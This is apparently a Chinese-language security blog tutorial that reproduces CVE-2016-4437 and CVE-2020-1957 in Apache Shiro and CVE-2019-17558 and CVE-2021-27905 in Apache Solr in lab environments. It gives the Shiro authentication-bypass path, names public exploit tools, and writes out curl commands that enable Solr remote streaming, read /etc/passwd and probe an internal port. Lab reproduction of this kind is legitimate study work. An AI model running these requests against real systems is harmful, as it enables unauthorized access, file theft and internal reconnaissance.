框架漏洞-CVE复现-Apache Shiro+Apache Solr

什么是框架?

就是别人写好包装起来的一套工具,把你原先必须要写的,必须要做的一些复杂的东西都写好了放在那里,你只要调用他的方法,就可以实现一些本来要费好大劲的功能。

如果网站的功能是采用框架开发的,那么挖掘功能的漏洞就相当于在挖掘框架自身的漏洞。如果框架产生漏洞也会对使用框架的网站产生影响。

常见语言开发框架:

**PHP:**Thinkphp Laravel YII CodeIgniter CakePHP Zend等

**JAVA:**Spring MyBatis Hibernate Struts2 Springboot等

**Python:**Django Flask Bottle Turbobars Tornado Web2py等

**Javascript:**Vue.js Node.js Bootstrap JQuery Angular等

Apache Shiro-组件框架安全

描述:Apache Shiro是一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理。

判断:大多会发生在登录处,返回包里包含remeberMe=deleteMe字段。

漏洞复现: Shiro <= 1.2.4 默认密钥致命令执行漏洞( CVE_2016_4437

描述:该漏洞源于程序未能正确配置'remember me'功能使用的密钥。攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。

影响版本:Apache Shiro 1.0.0版本至1.2.4版本中存在信息泄露漏洞

使用vulfocus靶场启动环境

直接使用工具利用漏洞

工具:https://github.com/ghealer/GUI_Tools

输入目标url开始检测漏洞

成功获取利用链之后执行命令

漏洞复现: Shiro < 1.5.2 验证绕过漏洞 ( CVE-2020-1957 )

描述:Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。主要是Spring web在匹配url的时候没有匹配上/导致绕过

使用vulhub靶场启动环境

点击login和Accout info都会跳转到如下登录验证

直接访问poc**:** /xxx/..;/admin/ 绕过验证,进入后台

Apache Solr-组件框架安全

描述:Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。

漏洞复现:solr 远程命令执行 (CVE-2019-17558)

描述:Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

使用vulfocus靶场启动环境

直接使用漏洞利用工具检测

工具:https://github.com/jas502n/solr_rce

输入命令:python solr_rce.py http://目标ip:端口 要执行的命令

使用python2运行

成功执行命令

漏洞复现:Apache Solr 文件读取&SSRF (CVE-2021-27905)

描述:Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。

影响版本:全版本官方拒绝修复漏洞

1.使用vulhub靶场启动环境,点击core admin 创建数据库。因为是靶场,需要自己创建

2.创建完成,访问:/solr/admin/cores?indexInfo=false&wt=json 获取数据库名

3.通过命令行开启远程任意文件读取

命令行执行命令:

curl -i -s -k -X $'POST' \

-H 'Content-Type: application/json' --data-binary '{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \

$'http://目标ip:端口/solr/数据库名/config'

成功开启:

4.读取敏感文件

命令行执行命令:curl -i -s -k 'http://目标ip:端口/solr/数据库名/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

成功读取敏感文件:

5.内网探针

命令行执行命令:curl -i -s -k 'http://目标ip:端口/solr/数据库名/debug/dump?param=ContentStreams&stream.url=http://127.0.0.1:80'

成功探针到目标内网80端口信息:

查看返回信息,发现在80端口部署了nginx服务

相关推荐
薄荷椰果抹茶41 分钟前
【网络安全基础】第六章---Web安全需求
安全·web安全
阿絮~4 小时前
Apache RocketMQ进阶之路阅读笔记和疑问
笔记·apache·rocketmq
游戏开发爱好者88 小时前
iOS重构期调试实战:架构升级中的性能与数据保障策略
websocket·网络协议·tcp/ip·http·网络安全·https·udp
安全系统学习11 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
江苏思维驱动智能研究院有限公司14 小时前
Sophos 网络安全:全球领先的自适应安全解决方案提供商
网络·安全·web安全
A5rZ15 小时前
Puppeteer 相关漏洞-- Google 2025 Sourceless
网络安全
Bruce_Liuxiaowei17 小时前
常见高危端口风险分析与防护指南
网络·网络安全·端口·信息搜集
2501_9160137418 小时前
iOS 多线程导致接口乱序?抓包还原 + 请求调度优化实战
websocket·网络协议·tcp/ip·http·网络安全·https·udp
头发那是一根不剩了19 小时前
双因子认证(2FA)是什么?从零设计一个安全的双因子登录接口
网络安全·系统设计·身份认证
浩浩测试一下21 小时前
渗透信息收集- Web应用漏洞与指纹信息收集以及情报收集
android·前端·安全·web安全·网络安全·安全架构